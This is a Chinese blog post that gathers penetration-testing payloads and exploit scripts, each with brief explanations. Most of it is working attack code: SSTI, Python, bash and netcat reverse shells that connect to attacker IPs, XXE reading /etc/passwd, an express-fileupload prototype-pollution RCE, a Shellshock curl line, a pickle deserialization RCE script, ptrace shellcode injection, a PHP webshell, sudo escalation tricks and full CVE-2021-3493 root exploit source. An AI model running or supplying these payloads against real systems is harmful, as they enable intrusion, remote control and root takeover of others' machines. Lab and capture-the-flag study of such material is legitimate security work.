渗透的各种payload/script

Payload

php

  1. url封装器的payload----读取 返回

    url_parameter=php://filter/convert.base64-encode/resource=evil.php
    1. php://filter/： 是一个特殊的封装器，它允许对输入和输出流应用一系列过滤器，以对数据进行处理和转换。
    2. convert.base64-encode/：这是一个过滤器指令，用于对流进行 Base64 编码转换。
    3. resource=evil.php：这是指定要读取的文件路径

  2. url封装器的payload----写入

    url_parameter=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIz
    1. write=convert.base64-decode：这是封装器的指令，指示要将流中的数据写入到指定的资源（在这个示例中是 test.php 文件），并在写入之前将数据进行 Base64 解码。
    2. resource=test.php：这是指定要写入的资源的路径。在这个示例中，它是 test.php 文件。

xml

<!DOCTYPE foo[<!ENTITY xxs SYSTEM 'file:///etc/passwd'>]>

  1. what is xml? 返回

    ​ 简单理解就是和html一样是标记性语言，但是他有不同之处。大致的语法和html语言相同，但是比html更加的灵活。XML 的设计宗旨是传输数据，而不是显示数据。XML 标签没有被预定义。您需要自行定义标签。（这也是可以参数漏洞的主要原因）

    更多的详细详细特点和解释请访问网站： XML 教程 | 菜鸟教程 (runoob.com)

  2. 具体漏洞：

    1. <!DOCTYPE foo[<!ENTITY xxs SYSTEM 'file:///etc/passwd'>]>:

      这段XML代码是一个实体注入（Entity Injection）的示例。它包含了一个外部实体引用，其中的实体 xxs 被定义为引用了文件路径 /etc/passwd。

      1. <!DOCTYPE foo [...]>：这是DTD（文档类型定义）的声明，指定文档类型为 foo。在这个示例中，DTD定义被省略，我们只关注实体引用。

        DOCTYPE后面跟的是文件类型 ，foo 是表示不指定文件类型。[]表示可以选择的内容。

      2. <!ENTITY xxs SYSTEM 'file:///etc/passwd'>：这是一个实体定义，其中 xxs 是实体的名称，SYSTEM 关键字指示它是一个外部实体引用，file:///etc/passwd 是实体的值，指定了一个文件路径。在这个例子中，实体 xxs 被定义为引用 /etc/passwd 文件。这就是固定的格式。

      3. file:///etc/passwd 是一个文件路径的 URL。在这个 URL 中，file:// 是指示协议为文件协议的前缀，表示后面的路径是一个本地文件路径

python

rpyc远程执行

import rpyc
def shell(): 		# shell函数将 ragnar加入到sudo这个组中。
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)	# fu是一个在服务端执行的函数，其实就是 shell函数
fn()

web页面

  1. 通过参数上传

    http://192.168.195.171:5000/sh4d0w$s?l333tt=	{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.0.0.3\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

    1. 要求：

      1. python

      2. ssti漏洞：通过 变量={{8*9}}来判断是否有模板注入漏洞

      3. 知道变量值
        3. 作用：
        1. 反弹shell可以通过nc建立连接来进行远程连接

        1. 使用
          1. 记得修改反连主机的ip和端口。

ssti漏洞

检测payload

  1. url传入参数的检测payload，同传入该参数查看是否爆出错误。几乎是所有的模板开发语言可以用这个payload
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]
  1. 同样，我们来查看运算是否被执行来确定是否有ssti漏洞
${7*7},{{7*7}}

反弹shellpayload

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.195.170/4444 0>&1"')}}

终端执行

  1. 修改终端python为交互模式

    python -c 'import pty;pty.spawn("/bin/bash")'

  2. sudo -u kori /bin/php /home/kori/jail.php python

    1. 当前用户是有sudo权限的

    2. 指定kori用户来通过php接收器来执行jail.php文件（/bin/php的是一个解释器）

    3. 而python是作为参数传入到这个脚本中，意思就是jail.php这个脚本是有参数的传入的

      结合题目，就是jail会对传入的参数进行过滤，但是没有过滤python所以由此产生payload

  3. 直接在python交互环境下输入，就可以反弹shell。

    ​ 里面的库都是python自带的。 -c参数是表示后面字符串为需要执行的代码。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("1.0.0.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/sh","-i"]);'

其他

另一种串联nc

  1. what? 返回

    用于解决 nc没有 -e参数的问题，但是这种方法比 nc串联交互起来更加的方便。其实我也并特别的明白，但是我感觉不是特别的重要，会用就行。

    Linux反弹Shell方法_rm /tmp/f;_低头观自在的博客-CSDN博客这个blog写的还是非常不错，非常详尽的。

  2. 具体代码

    rm /tmp/f; mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 1.0.0.3 4444 >/tmp/f
    • rm /tmp/f: 这条命令尝试删除 /tmp/f 文件。如果该文件存在，它将被删除。这是为了确保后续的命令正常工作。
    • mkfifo /tmp/f: 这条命令创建了一个名为 /tmp/f 的命名管道（named pipe）。命名管道可以用作进程间通信的通道。
    • cat /tmp/f|/bin/bash -i 2>&1: 这条命令使用 cat 命令读取来自 /tmp/f 的输入，并将其作为输入提供给 /bin/bash（Bash shell）。通过 -i 参数，Bash shell以交互模式启动，允许用户与其进行交互。
    • nc 1.0.0.3 4444 >/tmp/f: 这条命令使用 nc 命令（netcat）建立到 IP 地址为 1.0.0.3、端口号为 4444 的远程主机的网络连接。然后，它将所有网络连接的输入重定向到 /tmp/f 文件中。从而和cat /tmp/f|/bin/bash -i 2>&1的 /tmp/f形成一个回路，实现交互的作用。

    mkfifo（make FIFO）不是一个函数，而是一个命令行工具。它用于在Linux和其他类Unix操作系统中创建FIFO（First-In, First-Out）命名管道。

    FIFO是一种特殊类型的文件，用于实现进程间通信（IPC），其中数据按照写入的顺序被读取。FIFO提供了一种无关的进程通信方式，可以被多个进程同时读取和写入。

nodejs的express-fileupload

  1. 利用条件

    • ejs模板引擎。
    • express-fileupload版本老于1.1.9
    • 开启了parseNested选项

  2. python代码,直接在靶机上执行。

    import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.0.0.7/4443 0>&1"'# 这里为kali的ip和端口
# pollute，这里为靶机上服务开放的ip和开放服务的端口
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:8080')     # execute command，同样为靶机开放的ip和端口

node提权payload

  1. 利用条件

    • 靶机上存在 node
    • 而且权限为 sudo

  2. 直接在 shell中执行

    sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

    在Node.js中，child_process.spawn()函数的第二个参数是一个对象，用于指定子进程的选项。其中，stdio选项用于指定子进程的stdin、stdout和stderr的配置。stdio:[0,1,2]表示将子进程的stdin、stdout和stderr分别连接到父进程的stdin、stdout和stderr。其中，0、1和2分别表示标准输入、标准输出和标准错误输出

CGI远程代码执行payload

  1. 利用条件

    • web开发中有cgi
    • 找到cg,sh的web文件目录
    • nmap判断确实存在漏洞

  2. 直接 kali终端输入：

    curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.21.83/cgi-bin/shell.sh

service 提权

  1. 利用条件

    • service权限为 sudo

  2. 直接在靶机终端输入

    sudo service ../../bin/bash

Scripe

Python

nodejs-express-fileupload反弹shell

  1. 利用条件

    • ejs模板引擎。
    • express-fileupload版本老于1.1.9
    • 开启了parseNested选项

  2. python代码,直接在靶机上执行。

    import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.0.0.7/4443 0>&1"'# 这里为kali的ip和端口
# pollute，这里为靶机上服务开放的ip和开放服务的端口
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:8080')     # execute command，同样为靶机开放的ip和端口

pickle反序列化

  1. pickle反序列化漏洞

    1. 什么是反序列化

    ​ 简答理解就是将输入的东西或文件“编码”

    1. pickle反序列化漏洞

      pickle包是一个用于序列化和反序列化Python对象的标准库

#!/usr/bin/python
# Pickle deserialization RCE exploit
# calfcrusher@inventati.org
# Usage: ./Pickle-PoC.py [URL]
import pickle
import base64
import requests
import sys
class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
default_url = 'http://127.0.0.1:5000/vulnerable' #here should change, there just to change port and vulnerable,port is the web service use, vulnerabel is path,
url = sys.argv[1] if len(sys.argv) > 1 else default_url
command = '/bin/bash -i >& /dev/tcp/192.168.1.23/4444 0>&1'  # Reverse Shell Payload Change IP/PORT，here should change
pickled = 'pickled'  # This is the POST parameter of our vulnerable Flask app,here should change,pickled should be changed to post's parameter's name.
payload = base64.b64encode(pickle.dumps(PickleRCE()))  # Crafting Payload
requests.post(url, data={pickled: payload})  # Sending POST request

信息搜集脚本

linpeas.sh （自己下载）

  1. what？

    ​ LinPeas.sh都是Linux环境下的本地枚举工具，用于渗透测试和漏洞利用。发现系统各种信息

    给予执行权限（chmod +x lenpease.sh），运行脚本即可。同时，它还会给出一些潜在的攻击点，

    注意要有有足够权限，否则无法完全探测，同时系统不能有一些防护措施。

  2. 直接执行就可以了。

提权漏洞

capabilities的cap_sys_prace权漏洞

  1. 用途

    用于capabilities的cap_sys_prace配置不当来进行提取

  2. 使用条件

    1. python的解释权有 cap_sys_prace权限
    2. 找到一个有root权限的进程

  3. 如何是使用

    1. python2.7 script.py id

      id为一个root用户的程序

    2. 使用完脚本后会自动打开靶机的 5600端口

      # inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

php脚本

php

  1. 一句话webshell

    <?php $var=shell_exec($_GET['cmd']);echo $var?>

    shell_exec 是一个函数，用于执行操作系统的命令并返回输出结果。它允许 PHP 脚本与底层操作系统进行交互，并执行各种命令行操作。

bash脚本

bash脚本语言，用于linux中。

大小端的判断

echo -n I | od -to2 | head -n1 | cut -f2 -d" " | cut -c6
1为小端，0为大端  ;小段是小小，大段是小大。

信息收集

1,简单的发现主机

for i in $(seq 1 10); do ping -c 2 172.17.0.$i; done

  • do:是用来标记循环的开始，和done相呼应。循环之间的命令。

  • seq:seq是用于打印一些列的数值seq [选项]... 首数 增量值 尾数其中有些是可以省略的。seq 命令本身不能直接生成数组，但可以通过 $(seq ...) 结合 bash 的命令替换功能，将 seq 生成的数列作为一个数组赋值给变量。

  • done：表示结束循环如：while,for循环

漏洞利用脚本

mysql_udf

  1. what?

    kali自带的用于 mysql——udf提权用的文件，可以通过下面的命令确定准确的位置:

    find / -iname "*mysqludf*" -type f 2>/dev/null

CVE-2021-3493

  1. CVE-2021-3493漏洞脚本。直接在靶机上执行就可以拿下root的shell 返回

    食用方法：编译成功后直接使用即可

    • 影响版本：Ubuntu 20.10，Ubuntu 20.04 LTS，Ubuntu 18.04 LTS， Ubuntu 16.04 LTS，Ubuntu 14.04 ESM （Linux内核版本 < 5.11）
    • gcc exploit.c -o exploit
    • ./exploit
    #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode){
    if (mkdir(path, mode) == -1 && errno != EEXIST)err(1, "mkdir %s", path);}
static void xwritefile(const char *path, const char *data){
    int fd = open(path, O_WRONLY);if (fd == -1)err(1, "open %s", path);ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)err(1, "write %s", path);close(fd);}
static void xcopyfile(const char *src, const char *dst, mode_t mode){
    int fi, fo;if ((fi = open(src, O_RDONLY)) == -1)err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)err(1, "open %s", dst);
    char buf[4096];ssize_t rd, wr;
    for (;;) {rd = read(fi, buf, sizeof(buf));
    if (rd == 0) {break;} else if (rd == -1) {if (errno == EINTR)continue;err(1, "read %s", src);}
    char *p = buf;while (rd > 0) {wr = write(fo, p, rd);if (wr == -1) {if (errno == EINTR)continue;
    err(1, "write %s", dst);}p += wr;rd -= wr;}}close(fi);close(fo);}
static int exploit(){
    char buf[4096];sprintf(buf, "rm -rf '%s/'", DIR_BASE);system(buf);
    xmkdir(DIR_BASE, 0777);xmkdir(DIR_WORK,  0777);xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);xmkdir(DIR_MERGE, 0777);uid_t uid = getuid();gid_t gid = getgid();
	if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)err(1, "unshare");
    xwritefile("/proc/self/setgroups", "deny");sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);sprintf(buf, "0 %d 1", gid);xwritefile("/proc/self/gid_map", buf);
	sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)err(1, "mount %s", DIR_MERGE);
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);return 0;}
int main(int argc, char *argv[]){
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {setuid(0);
        setgid(0);execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");}
	pid_t child = fork();if (child == -1)err(1, "fork");
	if (child == 0) {_exit(exploit());} else {waitpid(child, NULL, 0);
    }execl(BIN_UPPER, BIN_UPPER, "shell", NULL);err(1, "execl %s", BIN_UPPER);}
posted @ 2023-05-24 16:41  C_CHL  阅读(298)  评论(0)  编辑  收藏  举报